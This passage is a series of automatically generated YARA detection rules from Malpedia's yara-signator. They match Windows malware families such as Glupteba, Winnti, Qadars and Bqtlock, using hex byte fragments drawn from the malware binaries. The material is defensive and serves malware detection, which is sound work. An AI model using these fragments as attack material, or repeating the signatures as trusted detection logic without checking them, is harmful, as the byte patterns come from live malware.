		$sequence_7 = { 8b8e4c100000 899678100000 8b949e00080000 c1c816 c1ca09 33d0 }
		$sequence_8 = { 8db8bc4d4300 57 ff15???????? ff0d???????? 83ef18 83ee01 75eb }
		$sequence_9 = { e8???????? 8d85b80c0000 50 ff75ac ff75a8 e8???????? 83c418 }
	condition:
		7 of them and filesize < 475136
}

rule MALPEDIA_Win_Sasfis_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "faa37fe5-b8ae-5b3d-8761-9ca44fa700a7"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sasfis_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "cf32d2a1a7d6bbcae913d88ae0d2c6c9327ff9b8dad43d2e492ba8c00cbedd6a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 241c 2c05 006188 c526 3503007ca3 ef 2b30 }
		$sequence_1 = { 0bb2ea7632d3 728b 896b90 35d0797819 d581 }
		$sequence_2 = { 880c24 8d642450 e9???????? 60 }
		$sequence_3 = { 8f44241c f9 66ffc7 0fbdfa 80fe07 87742418 660fbafe06 }
		$sequence_4 = { 036e20 43 7465 47 }
		$sequence_5 = { 2030 51 090a 4d 1321 }
		$sequence_6 = { 66893c24 89442434 9c 660fbef8 9c 89542438 68d58c61ca }
		$sequence_7 = { 660fbec2 660fb6c0 8b4500 e8???????? 661584f0 fec0 27 }
		$sequence_8 = { 7aae 2931 55 3cf4 b729 0300 47 }
		$sequence_9 = { 9c 8f442440 8d3cfd9c379c8f 66ffcf }
	condition:
		7 of them and filesize < 8060928
}

rule MALPEDIA_Win_Cuegoe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1c8a706e-da68-55ba-a4ca-eaa50b244652"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cuegoe_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "f45425f55dbbdbdba945f538455e47f9972b3b43f177d31d74ee7524c51ab351"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8985500c0000 8b432c 8b4b24 57 }
		$sequence_1 = { 57 8db55c030000 e8???????? 53 57 8db59c030000 e8???????? }
		$sequence_2 = { 8bff 8b4500 83780400 0f84961a0000 8b30 0fb636 8b551c }
		$sequence_3 = { 894740 8b454c 894744 8b4550 894748 8b4554 89474c }
		$sequence_4 = { 0f8554020000 57 83ec18 8bc4 89654c 53 50 }
		$sequence_5 = { 8b149580cf0310 c1e006 8d440224 802080 884dfd 8065fd48 884dff }
		$sequence_6 = { 894310 5e 5f c20400 6a04 }
		$sequence_7 = { b8???????? e8???????? 8b7508 8365f000 c706???????? c746581c520310 }
		$sequence_8 = { ff5004 0fb7c0 6a01 50 ff7528 8d758c ff7524 }
		$sequence_9 = { 897dc4 50 c745fc02000000 e8???????? 33c0 c745c401000000 c745ec07000000 }
	condition:
		7 of them and filesize < 540672
}

rule MALPEDIA_Win_Glupteba_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f0d5e7d7-1d32-5f42-920b-16ebe0ccac58"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glupteba_auto.yar#L1-L160"
		license_url = "N/A"
		logic_hash = "833c38370ca2666b80daaec86c0f2af9a38d0d465a2faa6f122cd9317cf83227"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 81e680800000 895de4 0bfe 8b75fc c1ee07 c1e709 }
		$sequence_1 = { 742f 68???????? 50 c705????????04000000 ff15???????? 833d????????04 }
		$sequence_2 = { 83c40c ff750c 66c745f00200 ff15???????? 668945f2 6a10 }
		$sequence_3 = { ff15???????? 83c444 ff750c ff7508 e8???????? 8bf0 }
		$sequence_4 = { 68???????? 57 895d0c ff15???????? }
		$sequence_5 = { 8b4c2404 c1e802 d1e9 0ac1 8ac8 }
		$sequence_6 = { 03c0 33c8 8bc1 3500630000 c1e808 33c1 }
		$sequence_7 = { 895f04 894f08 83c710 837d0824 897d0c 7285 8bf9 }
		$sequence_8 = { 005e3e 46 00ff 3e46 }
		$sequence_9 = { 00cd 3e46 005e3e 46 }
		$sequence_10 = { 0107 eb4d 8b02 89442418 }
		$sequence_11 = { 00ff 3e46 0012 3f }
		$sequence_12 = { 0101 03d3 8b4620 8bcb }
		$sequence_13 = { 0106 830702 392e 75a0 }
		$sequence_14 = { 00f1 3d46005e3e 46 00cd }
		$sequence_15 = { 0012 3f 46 008bff558bec }
	condition:
		7 of them and filesize < 1417216
}

rule MALPEDIA_Win_Silentgh0St_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "291abef6-9e33-5a8d-8adc-76e9209f6497"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.silentgh0st"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.silentgh0st_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "9a04c7809c217e9efeaf55825390ec7954a79ff3371a97034dc7cf6c87eca139"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c9 c3 8b45fc ff7018 ff750c e8???????? 59 }
		$sequence_1 = { 33c4 89842488000000 8b8424a0000000 8b8c2494000000 53 8b9c24a0000000 55 }
		$sequence_2 = { e8???????? 8bcf 85c0 7507 e8???????? ebb0 6834020000 }
		$sequence_3 = { 33c9 83e701 894c2418 897c2414 a900000004 0f8596000000 c744241801030000 }
		$sequence_4 = { 8bc6 c1f805 8bfe 53 8d1c8500c40e10 8b03 83e71f }
		$sequence_5 = { 8d04454c950e10 8bc8 2bce 6a03 d1f9 68???????? 2bd9 }
		$sequence_6 = { 83c420 e9???????? 8b96bc000000 8b8290000000 3bc5 7514 6a0a }
		$sequence_7 = { 8d85f8feffff 6a5c 50 e8???????? 59 59 3bc3 }
		$sequence_8 = { 8b4a10 03c0 80e108 03c0 0fb6d1 83c404 03c0 }
		$sequence_9 = { 8d8304010000 8bd6 2bd0 b910000000 89542420 eb04 8b542420 }
	condition:
		7 of them and filesize < 2065408
}

rule MALPEDIA_Win_Unidentified_100_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "46aeb4db-19b2-5469-a0eb-5c4c4a4bf0ff"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_100"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_100_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "47aac890cf0ac352426261b33fabc1042e2b5071c52a28784cdba5465d5e39a5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0fb6442420 2580000000 88442402 0fb6442420 }
		$sequence_1 = { 488b542420 88040a 6b05????????03 0fb60c24 03c1 4898 488b4c2420 }
		$sequence_2 = { 8d0c8d03000000 4863c9 488b542448 4c8b442440 410fb60400 88040a }
		$sequence_3 = { 488d9424a0070000 488d8c24a0050000 e8???????? 8b442434 ffc0 eb3d }
		$sequence_4 = { 3da5000000 751b 48630424 488b4c2478 c6040146 48630424 }
		$sequence_5 = { 488b8c24c0000000 4c8b442468 420fb60c01 e8???????? 0fb6c0 8b4c242c 33c8 }
		$sequence_6 = { 488bf1 b932000000 f3a4 488d842402030000 }
		$sequence_7 = { 488b8c24c0000000 4c8b842480000000 420fb60c01 e8???????? 0fb6c0 8b4c2438 33c8 }
		$sequence_8 = { 742d 4c8d4c2460 41b802000000 488d542464 488b4c2448 ff15???????? 8b442460 }
		$sequence_9 = { c744841001000000 e9???????? 48630424 488b4c2470 0fb60401 83f82b 751e }
	condition:
		7 of them and filesize < 372736
}

rule MALPEDIA_Win_Orpcbackdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cd974481-8117-5632-aade-5ef10c39e2d5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orpcbackdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orpcbackdoor_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "dd9da45feb732da3d95212bca52a2ed758b546277cb96d095b747d85f59e36f4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d45a4 50 e8???????? 59 6a0b 59 8bf0 }
		$sequence_1 = { 8b4df0 e8???????? 8945d8 33c0 8b4de4 83c101 }
		$sequence_2 = { e8???????? 8d8d18ebfeff e8???????? 8d8d48f4feff e8???????? 8d8d30f4feff e8???????? }
		$sequence_3 = { 50 8d8de8ecffff e8???????? ff30 8d8d10e9ffff e8???????? }
		$sequence_4 = { 50 e8???????? 59 8845d4 8d45d0 50 8d45f8 }
		$sequence_5 = { 8b85ccfdffff 8b00 ffb5ccfdffff ff5024 89859cfdffff 8d8d50fdffff e8???????? }
		$sequence_6 = { 750a 68???????? e8???????? 8b45f0 833822 750a 68???????? }
		$sequence_7 = { 817df8ff0f0000 7649 8b45f0 ff704c 68ff0f0000 6a01 ff7508 }
		$sequence_8 = { a1???????? 33c5 8945fc 894df0 8365e800 8b45f0 8b00 }
		$sequence_9 = { eb9e 8d8508f8feff 50 8d8da0fbfeff e8???????? 6a01 8d8da8fcfeff }
	condition:
		7 of them and filesize < 918528
}

rule MALPEDIA_Win_Winnti_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1351f8e3-6ca5-5a13-9678-9210d9ddffd2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.winnti"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.winnti_auto.yar#L1-L242"
		license_url = "N/A"
		logic_hash = "09cc054785791e781076cf9631fef38d07059412817f6de2934895bd3887e46e"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 56 ff15???????? 85c0 7e79 8d4c2418 8d942484000000 }
		$sequence_1 = { 8dbc24c4000000 8d942410010000 f3ab 668b8424740b0000 bf???????? 66898424d2050000 83c9ff }
		$sequence_2 = { 8b734c 03f8 8bc1 c1e902 f3a5 8bc8 }
		$sequence_3 = { f3ab 8b8c2498010000 c644242004 51 c644242501 ff15???????? }
		$sequence_4 = { ffd7 68???????? 68???????? 89460c }
		$sequence_5 = { 85c0 751a 8bcb 8d142e 2bce 51 }
		$sequence_6 = { e8???????? 8b4c2418 50 6800040000 }
		$sequence_7 = { 8bfa 83c9ff f2ae 8b54242c }
		$sequence_8 = { 0f849a000000 4c8d5b2e 660f1f440000 410fb70b 458bca }
		$sequence_9 = { 8b4b1c 4803cf 8b0491 4803c7 488b5c2410 }
		$sequence_10 = { 4585d2 759d 488b7db7 458bd9 44894d97 }
		$sequence_11 = { 4053 4883ec40 48c74424580a000000 488b442458 4c8d442458 }
		$sequence_12 = { 4863c9 e8???????? 488bd8 4c8d443710 4983781810 7203 4d8b00 }
		$sequence_13 = { 75f1 408830 488d542450 4038742450 }
		$sequence_14 = { 90 488bd0 488d4b28 e8???????? 90 48837dd710 7209 }
		$sequence_15 = { 4863d9 4c8be3 49c1fc05 4c8d355a4f0a00 83e31f 486bdb58 }
		$sequence_16 = { 48c784248800000000000000 488d942488000000 488d4c2428 e8???????? 488d05e7700100 4889442428 488d1553d80100 }
		$sequence_17 = { 7517 488d0513ac0a00 488b4c2430 483bc8 7406 e8???????? 90 }
		$sequence_18 = { 7511 33c0 4881c4e0000000 415f 415e }
		$sequence_19 = { 4889742430 488b442440 48894310 48894b18 48897c2448 }
		$sequence_20 = { 741e 837d6001 7511 488d5568 ff15???????? 488b8d00010000 ff15???????? }
		$sequence_21 = { 48897c2478 488b8c2400010000 4885c9 741f 4183fe01 7513 }
		$sequence_22 = { 8bd8 85c0 7848 488b8c24b0000000 }
		$sequence_23 = { 488d0527eb0a00 eb04 4883c010 4883c428 c3 4883ec28 e8???????? }
	condition:
		7 of them and filesize < 1581056
}

rule MALPEDIA_Win_Unidentified_037_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "96c11217-51d7-5f4b-bf36-23d830fdb069"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_037"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_037_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "8c50fe3091c6eb5a168263d841c7329778565aaf5d56b9bbcef638ccc0102861"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { fec8 8801 eb09 51 e8???????? 83c404 899ef4000000 }
		$sequence_1 = { eb63 a802 7462 68???????? eb58 663d0900 7524 }
		$sequence_2 = { b9ff010000 33c0 8dbc242e080000 f3ab 66ab 8d44242c 50 }
		$sequence_3 = { 8b35???????? 3bf5 0f8439010000 8b0d???????? b8c12787cb 2bce f7e9 }
		$sequence_4 = { e8???????? 68???????? 68???????? 6802000080 e8???????? e8???????? a1???????? }
		$sequence_5 = { 51 52 e8???????? 8d85cce0ffff 56 50 }
		$sequence_6 = { 885e40 895c2418 884e44 895e48 895e4c 895e50 }
		$sequence_7 = { 897dcc 3bfe c645fc04 742f 68???????? 897704 c7470801000000 }
		$sequence_8 = { 51 ff15???????? 8d94241c020000 6a00 }
		$sequence_9 = { ff15???????? 56 bf01000000 ff15???????? 56 ff15???????? 8bc7 }
	condition:
		7 of them and filesize < 167936
}

rule MALPEDIA_Win_Bqtlock_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bb5e42ac-0a96-533f-bdf8-f7363192cc82"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bqtlock"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bqtlock_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "fe09c813bf2717fae94718806fa0772093be79bdfe9076451ef94ec757b5ff93"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f859b000000 8b08 e8???????? 6690 4c89e1 e8???????? 48c745e800000000 }
		$sequence_1 = { 498d5508 4c89c1 4829d1 83e108 742f 498b5508 4839d0 }
		$sequence_2 = { 488d540002 e8???????? 488b4ba0 4885c9 7405 e8???????? 488b4500 }
		$sequence_3 = { 4d85c0 48895110 4889cb 0f95c0 31d2 894108 488d057fde0a00 }
		$sequence_4 = { 4c89d9 ff5048 83f8ff 0f8451020000 4c8b5c2468 89c1 0fb6d0 }
		$sequence_5 = { 4c8d742450 4531d2 4c894c2438 4c89e9 4c89742440 48c744244800000000 664489542450 }
		$sequence_6 = { 488d4110 488901 4885d2 7505 4d85c0 7510 4531c9 }
		$sequence_7 = { 4c8d0daa38fcff 488b4038 4c39c8 0f856d030000 4839f2 740b 4889f2 }
		$sequence_8 = { b800000000 ba00000000 480f45542460 410f44c6 4889542460 4038f0 0f84fdfaffff }
		$sequence_9 = { 4d85c0 0f8469fdffff e9???????? e8???????? 4889c3 ff542438 8b00 }
	condition:
		7 of them and filesize < 4444160
}

rule MALPEDIA_Win_Meow_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8ae50208-eda0-5ebd-a6a9-2e33c00b8273"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.meow"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.meow_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "bb1378303eade72e8b389282cb73ba0dc64a8fed8abbcfd4aff9fb59d7155dea"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c68561ffffff16 c68562ffffff23 c68563ffffff12 c68564ffffff23 c68565ffffff70 c68566ffffff23 }
		$sequence_1 = { 8985ccfdffff 85c0 0f8431020000 8b483c 03c8 0fb74118 3b85c4fdffff }
		$sequence_2 = { 7431 b802000000 2bc1 0345f0 8945f0 8b45f0 99 }
		$sequence_3 = { f7fb 88540df1 41 83f90a 72de 8d45f1 898588feffff }
		$sequence_4 = { 33c5 8945fc 53 56 0f57c0 894de8 33f6 }
		$sequence_5 = { 83c408 eb35 0fb605???????? b225 50 }
		$sequence_6 = { 51 52 e8???????? 83c408 8b8c24f4050000 }
		$sequence_7 = { 6849372c4f ba0f000000 8d1c3f e8???????? 83c408 68???????? }
		$sequence_8 = { 7415 83e801 0f8595010000 c745e498024300 e9???????? 894de0 }
		$sequence_9 = { 8bf7 8d7b75 0f1f4000 8a06 8d7601 0fb6c8 83e953 }
	condition:
		7 of them and filesize < 492544
}

rule MALPEDIA_Win_Revenant_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d3da3715-670e-5d1a-8c9a-150b3eadfd7c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revenant"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.revenant_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "bc25d04495c8de2d240671fc2471b933071b7fc14621d4283ee86183238cabeb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 41803c1c20 488d4301 7405 4889c3 ebeb 8d4b01 }
		$sequence_1 = { 7592 41c744240801000000 b801000000 4881c458010000 }
		$sequence_2 = { 31c9 488b2d???????? 4989f0 ffd5 4c8b35???????? 85c0 7521 }
		$sequence_3 = { 488b542420 e8???????? 4c8b442428 31d2 488b4c2420 e8???????? }
		$sequence_4 = { e8???????? 4885c0 4889c6 7465 }
		$sequence_5 = { 4531c9 440fb74738 488b4c2448 e8???????? 4885c0 }
		$sequence_6 = { f3a4 488b7c2438 8b4c2448 f3aa }
		$sequence_7 = { 4889f1 ff15???????? b940000000 89c5 4889ea }
		$sequence_8 = { ff15???????? 488d0dc82d0000 31f6 89c2 e8???????? e9???????? 837f3c00 }
		$sequence_9 = { 89c5 4889ea 896c244c ff15???????? 448b44244c }
	condition:
		7 of them and filesize < 99328
}

rule MALPEDIA_Win_Tollbooth_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8571d861-b206-5a28-be63-4a9911495781"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tollbooth"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tollbooth_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "55924965cb8b6210eb05a8f6dd43f9ad6aeae8d8c356e1fd55efb53f124eaedf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 4885c0 0f8428010000 488d7827 4883e7e0 488947f8 4c8b442420 }
		$sequence_1 = { eb67 41baa0860100 413bea 7207 bb06000000 eb55 41ba10270000 }
		$sequence_2 = { 7451 488b7d07 488b4dff 48894dbf 488bd7 482bd1 48c1fa04 }
		$sequence_3 = { e9???????? 488d8ab8000000 e9???????? 488d8a68000000 e9???????? 488d8ad8000000 e9???????? }
		$sequence_4 = { 4885ff 757e eb03 498bfe 807e2400 7413 e8???????? }
		$sequence_5 = { 803902 7558 488b4908 488b5108 483b5110 7421 0fb645e0 }
		$sequence_6 = { 48895c2450 48895c2460 48c74424680f000000 41b80a000000 488d1566350900 488d4c2450 e8???????? }
		$sequence_7 = { 898b88000000 83bb8800000003 0f8286000000 8b8bf4160000 0fb69388000000 488b83f8160000 80ea03 }
		$sequence_8 = { eb4d 488b8100010000 4885c0 7403 f0ff08 488d055d200300 48899900010000 }
		$sequence_9 = { 83e11f 418bd7 81c101010000 41c1ef05 83e21f 418bc7 41894d7c }
	condition:
		7 of them and filesize < 1907712
}

rule MALPEDIA_Win_Aurora_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cb6e66dc-0b30-52d7-abd2-183f4137b9af"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aurora"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aurora_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "736e5133ae609420c62fd5eab55e12d52695b2d2a929e74285f1e9a94056c135"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 52 8d4dc0 e8???????? 68???????? c645fc01 e8???????? }
		$sequence_1 = { 6a1f 68???????? c745d40f000000 c745d000000000 c645c000 e8???????? c645fc01 }
		$sequence_2 = { 0f8259ffffff 8d4de4 e8???????? 8bc6 8b4df4 64890d00000000 59 }
		$sequence_3 = { 75f9 2bca 51 53 8d4dd0 e8???????? }
		$sequence_4 = { 0f45c2 50 e8???????? 8bfb }
		$sequence_5 = { 68???????? 8d8de4f1ffff c785f8f1ffff0f000000 c785f4f1ffff00000000 c685e4f1ffff00 e8???????? }
		$sequence_6 = { c785b8efffff0f000000 c785b4efffff00000000 c685a4efffff00 e8???????? 8d8dbcefffff }
		$sequence_7 = { 0f8483000000 c1e706 03f8 83c106 894ddc 7869 8bc7 }
		$sequence_8 = { 68???????? 8d8d24f1ffff c78538f1ffff0f000000 c78534f1ffff00000000 }
		$sequence_9 = { a1???????? 33c5 50 8d45f4 64a300000000 c745ec00000000 83ec18 }
	condition:
		7 of them and filesize < 827392
}

rule MALPEDIA_Win_Qadars_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "db370ffd-dc25-54ab-be3c-753161f66e40"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qadars_auto.yar#L1-L168"
		license_url = "N/A"
		logic_hash = "b7f3cdd5f9bd5d75d1b4c3d8620e10078807a9df5c67d92510598cbd69ac717d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 7410 8d642400 8b0b 48 c7048100000000 75f4 }
		$sequence_1 = { 8910 8b4510 85c0 7406 c700???????? 8b4514 }
		$sequence_2 = { 56 8d4dcc e8???????? 8d4dcc e8???????? 8bc6 5e }
		$sequence_3 = { 8b4dec 39590c 7405 ff490c eb25 8b4104 3bc3 }
		$sequence_4 = { 6a04 8d550c 52 8d443801 }
		$sequence_5 = { 8945fc 8b45e8 6a10 8945f8 e8???????? 83c404 }
		$sequence_6 = { 8b4510 8b08 51 52 8d4df0 897704 8975f4 }
		$sequence_7 = { 8b00 50 e8???????? 8b45fc 50 e8???????? 83c408 }
		$sequence_8 = { 6a00 8d4df4 51 6a04 8d55f8 }
		$sequence_9 = { 83c40c 6805010000 8d8df8feffff 51 }
		$sequence_10 = { 6a01 8b55fc 52 ff15???????? 83c408 }
		$sequence_11 = { 6a01 6a08 ff15???????? 83c408 }
		$sequence_12 = { 51 8b55f0 52 ff15???????? 83c40c }
		$sequence_13 = { 50 8d8d98fcffff 51 e8???????? }
		$sequence_14 = { 8945fc 6a02 8b85d4fdffff 50 }
		$sequence_15 = { 750b 68???????? ff15???????? 6a00 }
	condition:
		7 of them and filesize < 630784
}

